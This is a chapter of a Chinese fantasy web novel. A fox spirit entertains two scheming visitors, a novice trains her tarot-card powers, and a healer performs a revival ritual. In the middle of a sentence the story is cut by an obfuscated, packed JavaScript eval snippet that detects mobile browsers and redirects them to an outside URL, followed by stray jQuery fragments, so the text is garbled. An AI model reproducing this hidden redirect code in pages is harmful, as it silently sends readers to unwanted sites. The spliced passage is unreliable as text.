74. 不速之客(3)

作品:《走到里世界的最深处

    如果问哪个异种实力强且低调,九尾必定榜上有名。想打听它的异种不胜其数,但得到的资料基本都是寥寥无几。


    异军突起的九尾,似乎没人知道它实力大增的原因。


    近来,打扰它的异种开始变多。


    一只小巧的黑狐,准确来说,只能算半只。它身上大半地方是骨头架子,不是骨头架子的地方是干焦的疤痕,黑色的皮毛少得可怜。


    小黑狐在前头跑着,不顾后头,到了地点,一下就跃到幼童的膝盖上,“吱吱”叫了几声,找个舒服的姿势窝着。


    幼童左手伸出张开,一根骨头“chua”地飞到她的手上。


    小黑狐把自己的骨头跑掉了也没有发现,呆呆的。


    她熟练地安装回小黑狐的身上,揉揉并不柔顺的黑狐脑袋。


    “你还不准备教教它们吗?里世界的生存可没那么容易,它们也可不会一直待在这。”


    声音从远至近,直至一双鞋停在了幼童的面前。


    “很抱歉又来打扰你了,九尾。”


    九尾收敛起笑容,抬头,烧伤爬满她的脸庞。


    “真的感到抱歉就不会来了,你说是吧,蛰虫前辈。”


    她拍了拍旁边的草地。


    “坐吧,前辈。”


    按资历,蛰虫是她的前辈。按实力,蛰虫也比她强。


    蛰虫的脸上是各种伤疤,是勋章,各种斗争胜利的勋章。尤其她的独眼,是她最喜欢的地方。那被黑眼罩盖住的眼睛,是妯娌伤的,这是她争夺继承位胜利的标志。


    她刚坐下,怀里抱着的小棕狐挣扎地脱离,她手一松,小棕狐三两下就钻到九尾的怀里。小黑狐边不满地凶,边让出半个位子给小棕狐。


    小棕狐的模样和小黑狐差不了多少,大半个骨头架子。


    九尾低头,笑着给两只小狐狸顺毛,嘴上对着蛰虫说:“前辈别介意,孩子们不喜欢你。”


    温柔的语气说出令异种不爱听的话。


    “我都来了三次了,总得习惯吧。”蛰虫坐在边上,和九尾保持着合适的社交距离,“况且你不也就是个小孩。”


    九尾微微一僵,笑容裂得更大:“前辈想拉拢我,却说这样不尊重的话,这也没有多少的诚意。”


    自己外形,无论原型还是化形,都只能停留在被火烧死的那个年纪,不再成长,而蛰虫拿这点说她……


    “诚意?我都三顾茅庐了。再说,诚意比得过实力吗?”蛰虫似笑非笑,“明哲保身在里世界是最差的选择。”


    “我会认真思考前辈的建议。”九尾浅笑。


    “听得进去那是最好的,我们做长辈的自然经验比你们多,可不希望你做了错误的选择。”蛰虫微微颔首。


    九尾似乎是若有所思地点头。


    ……


    “好了,我该说的已经说完了,剩下怎么考虑是你的事情。”蛰虫站起的同时还不忘捏两下小狐狸。


    两只小狐狸往九尾的怀里又缩了缩,九尾略带歉意地微笑。她弹了下两只小狐狸的脑袋,它们乖巧地蹭了蹭九尾,从怀中跳下,为蛰虫引路。


    蛰虫没有丝毫犹豫,捞起小黑狐往怀里揣,一只手抱着,一只手摸着。


    想抱孙女的心愈发强烈,毕竟家里有真有王位继承。但又想到不争气的儿子,烦得手上一用力,给小黑狐疼得龇牙但不敢吼。


    等到蛰虫离去,只见两只小狐狸又引来一位异种。不一样的是,这位异种不是从蛰虫的方向而来,那个方向是出入口。


    “不好意思,让前辈久等了。”九尾依旧坐着,拍了拍旁边的草地。


    “倒不会久等,”窥天客顺着坐下,她拿出一袋子新鲜的肉食放在两只小狐狸面前,“上次拒之门外是因为她吗?”


    两只小狐狸眼睛亮亮地看看肉食,看看九尾,看看肉食,看看九尾……


    九尾微微叹气,道:“吃吧。”


    她这一声,两只小狐狸这才开始咬肉。窥天客也不着急,耐心等待着。两只狐狸小,而肉食多,陆陆续续又跑来几只狐狸,黑的白的棕的红的,一起咬肉。


    九尾一直等到小狐狸们把肉吃完,它们散到远处玩耍,在她看得到的范围。


    这时,她转向窥天客,认真打量起这位异种的模样,神秘得正如名字。


    “前辈自己应该能推演出来吧。”


    “耗神耗力,窥探总要付出些代价。既然你邀请我过来,我不如直接问你。”窥天客语气温温和和的,虽然袍子遮住眼,但整个脸还是可以看出是朝着九尾的。


    九尾歪头,眨眨眼,露出纯洁无瑕的笑容,声音有些朦朦胧胧:“前辈,可以告诉我关于沈羲和的事情嘛?”


    窥天客轻笑,獠牙的唇钉随之摆动:“不能。”


    九尾敛起灿烂的笑容,表情恢复平常:“前辈深藏不露。”


    “或许?”窥天客淡淡道,“为什么问她。”


    九尾反问:“那你又为什么想来问玄度?”


    窥天客摸出一颗圆润明亮的绿宝石,推到了九尾的面前:“我想知道的不多,你和他的关系。”


    九尾看着绿宝石。


    心动。


    她能感受到绿宝石内蕴含着的生命力。


    她和玄度的关系吗?


    九尾认真思索了一会:“父女。”


    窥天客表情僵在脸上,脑袋上打出一个大大的问号:“?”


    九尾骄傲:“一日为师,终身为父。”


    师徒关系?


    窥天客有点疑惑:“?”


    九尾狡黠:“但他拒绝收徒。”


    窥天客:“……”


    合着半天说两句逗她玩呢,怪不得是狐狸。


    九尾最后道:“算恩人。”


    窥天客:“那关于沈羲和……”


    九尾毫不犹豫:“母亲。”


    “……”窥天客有点聊不下去。


    九尾眼眶含泪,矫揉造作:“前辈,你是知道的,像我这种父母双亡的异种渴望点母爱是很正常的。”


    窥天客顺着点点头。


    她不太想知道,也不太能理解。但若和沈羲和扯上关系……


    “这可不太好吧。”


    “在狐狸的字典里,只有‘想要’和‘得到’,可没有什么好与不好。”九尾看着窥天客,灵动的眼眸透出些许的狡黠,“前辈可别忘了我们的身份,我们是异种,前辈这是为玩家说话吗?”


    窥天客没有回应,嘴角含笑,又一颗绿宝石往前一放。


    更强烈的生命力,足以让她领域内的生物得到不同程度的恢复。


    九尾面带笑意,收下两颗漂亮的绿宝石。歪头,眨眼:“至少现在的立场,您暂时可以对我放心。”


    两只小狐狸引领窥天客离去的路。九尾抱着一只小赤狐,平躺在草地上,望着只是看起来湛蓝的天空,它的背后是一团团萦乱混杂的黑气。


    里世界要变天了。


    这是九尾的猜测。


    她揉着小赤狐的脑袋,微微叹气。


    蛰虫第一次来找她是在三年前,而后两次在现在,间隔不过几天。


    窥天客的实力做了隐藏,远比表现出来的强。蛰虫尚能被她蛊惑三秒,但似乎对窥天客没有丝毫的影响。


    沈羲和……


    九尾默念着这个名字。


    她还没见过本人。


    *


    “啊啾。”


    训练空间内的沈羲和撑揉了揉鼻子。


    “是感冒了吗?”叶青葵停下手中的牌,担忧加歉意。


    沈羲和摇头:“没事,继续。”


    叶青葵点了点头,顿时压力山大。


    她深呼吸,向空中丢出一张牌,牌悬浮空中。


    圣杯侍从!


    只见塔罗牌上握着圣杯的侍从竟在她的背后形成巨大的虚影!


    沈羲和熟练般撑起伞,伞下她和叶青葵。


    年轻的侍从僵硬地将圣杯慢慢倾斜,流动的水,跃动的鱼。


    水流如同从没压强的水龙头中流出,稀疏。鱼儿只有虾米大小,三只,掉在伞上,再掉在地上,摇摆细微的鱼尾,肉眼难看清的水花。


    这就是她们撑伞的原因。


    叶青葵“原地”使用技能,技能全砸在自己身上。虽然没有一点的杀伤力,但嘲讽意味极强。


    目前只能嘲讽自己。


    沈羲和面无表情甩了甩,收起伞:“再来,有进步。”


    叶青葵:“……好。”


    并没有被鼓励到,进步在哪?小鱼从一只到三只吗?


    经过这么数十次被浇水,但叶青葵竟还能进步,沈羲和悟了。


    是恢复比消耗快吗?不,是叶青葵根本没怎么消耗!


    沈羲和刚才细看。


    精神力在塔罗牌上一点一点堆积,突然不知道干嘛去了,最后一下散了?!


    “把精神力聚集在牌上。”她再次强调,“一定要集中注意力,你的思绪太飘忽不定了。”


    叶青葵不好意思道:“我会努力的!”


    ……


    又撑两次伞,沈羲和不再相信叶青葵的集中注意。她直径握住叶青葵的手腕:“再来,最后一次。”


    “嘶。”叶青葵身体一颤,有点痛嘞。


    沈羲和瞬间松开手,她才刚传导:“算了。”


    也不用那么着急,还只是新人,不会用能力很正常。


    叶青葵却坚定道:“我可以。”


    沈羲和再次握上叶青葵的手腕,用自己的雷电来慢慢引导她集中注意力。熟悉的感觉虽然隐约作痛,但让叶青葵感到安心。


    一张牌悬浮在空中。


    牌后是巨大的虚影。一个女人,头戴王冠,身着红袍,右手持剑,左手持称


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069484|182033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,严肃庄重。


    “感受牌。”沈羲和提醒道。


    慢慢,叶青葵眉头锁起,额头开始冒出细汗。


    ……


    她低语:“穿梭在时空中的守护者啊,请您为我展开真相。天平之上,等价交换!”


    女人僵硬缓动,天平来到了叶青葵的面前。


    沈羲和看向叶青葵。


    叶青葵拿过她手上的伞,试探性地放上,道:“我用伞想换取两颗糖?”


    隐隐能够感知,交换只能等价或是重换轻。


    天平开始转动。


    另一边的盘抵到叶青葵的面前,是两颗糖。而原本放伞的那个托盘,伞已经不见。


    叶青葵拿下糖果,再也支撑不住,虚影消失,牌从空中飘落,落在她的手中。


    大阿尔卡纳的第十一张牌,正义。


    沈羲和扶着叶青葵坐下:“感觉怎么样?”


    叶青葵剥开一颗糖放在沈羲和的手心:“什么味道的?”


    沈羲和看看晶莹剔透的糖果,再看看满目期待的叶青葵,把糖果放入嘴中,细细品尝:“很甜。”


    叶青葵再剥开一颗糖给自己。


    口腔里是很淡很淡的甜味,没有沈羲和说得“很”的程度。


    她没在意,嘎嘣嘎嘣就道:“感觉啊……前摇长台词中二榨干身体,牌好大但感觉没啥作用。我拿什么交换,肢体还是寿命?”


    沈羲和皱起眉。


    叶青葵提到这,抖抖头:“我还是挺爱惜生命的。”


    沈羲和的眉眼里透出笑容,却掩盖不住淡淡的疲惫:“今天训练到这里差不多,可以休息了。”


    她看了看手环,依旧没有收到消息。


    每天训练结束后,沈羲和总会去看手环,这已成了习惯。


    这要回到十天前的训练,恰巧结束时,沈羲和收到了一条消息。


    【ID玄度向您发出好友申请。】


    通过。


    你好。


    没有下文。


    自后的训练结束时,沈羲和总会查看手环里的消息,每每落空,杳无音信。


    叶青葵有些担忧,她不在现场,只是单纯从沈羲和口中得知。


    一位符合她审美的玩家为了她而死。


    这只是个短短的恋综,做到这地步?


    叶青葵有点不相信,但人死了,她还是为之节哀的,毕竟逝者为大。


    但“爱情”复活了。


    这听起来就有点像杀猪盘了。


    *


    薄荷糖几番辗转到知之者的家里。


    会长在交涉,风子背对着她们,肉眼可见她的心情不爽。


    知之者先为薄荷糖做了检查,和前面看过的那些治愈者玩家得出的结论一样,身体并无大碍。


    “我需要她的真名。”她道。


    真名?这谁能知道。


    会长还没开口,只听见。


    风子:“云千帆。”


    会长眉一挑。


    云,少见的姓氏,和风子一样。


    有瓜!


    但碍于此番场合她不好询问,只能暗自提醒自己等离开后记得这事。


    知之者:“我需要风子的一撮头发。”


    风子“咔嚓”一声剪掉发尾,“啪”一下放在知之者的桌上,似乎莫名宣泄些不满。她匆匆回到较远处,依旧背对。


    知之者不由得摇摇头,笑了笑,就像长辈对待无理取闹的小辈般包容。


    她点燃一堆蓝紫色的碎砂,火焰在碎砂上燃烧。再用一根红丝把头发绑起,吊着,一圈又一圈在火焰上转动。口中念着古老神秘的咒语。


    听不懂,但能含糊听见薄荷糖的真名。


    ……


    火焰燃起发丝,一缕暗红色的烟雾蹿进薄荷糖的额头,火焰渐渐熄灭。


    知之者嘱咐道:“每天夜晚十一时,在她面前呼唤她的名字三次。记住,需有血缘关系,且唤真名。最晚十天能苏醒。醒来后若有神经方面的偏差再来找我就行。”


    血缘关系?


    这里世界上哪去找亲戚。


    会长忽然看向风子。


    知之者刚才用的头发……莫非?


    “嗯,多谢。”风子面无表情道,“会长,麻烦你扛下人。”


    真是的。


    会长向知之者道谢并转账积分和道具。


    她扛起薄荷糖。


    欠这群小崽子的!一个个都开始指挥会长,不知道谁开的坏头。


    “没事,交易罢了。”知之者打开门,“好走,不送。”


    风子经过时,她顺带拍了拍脑瓜。


    风子一愣,更不爽,但看在薄荷糖的份上,忍了。


    路上,感受到旁边低气压的风子,会长内心微微叹气,不多说。


    如果她是风子,发生这样的事情,想必自己也很难释怀吧。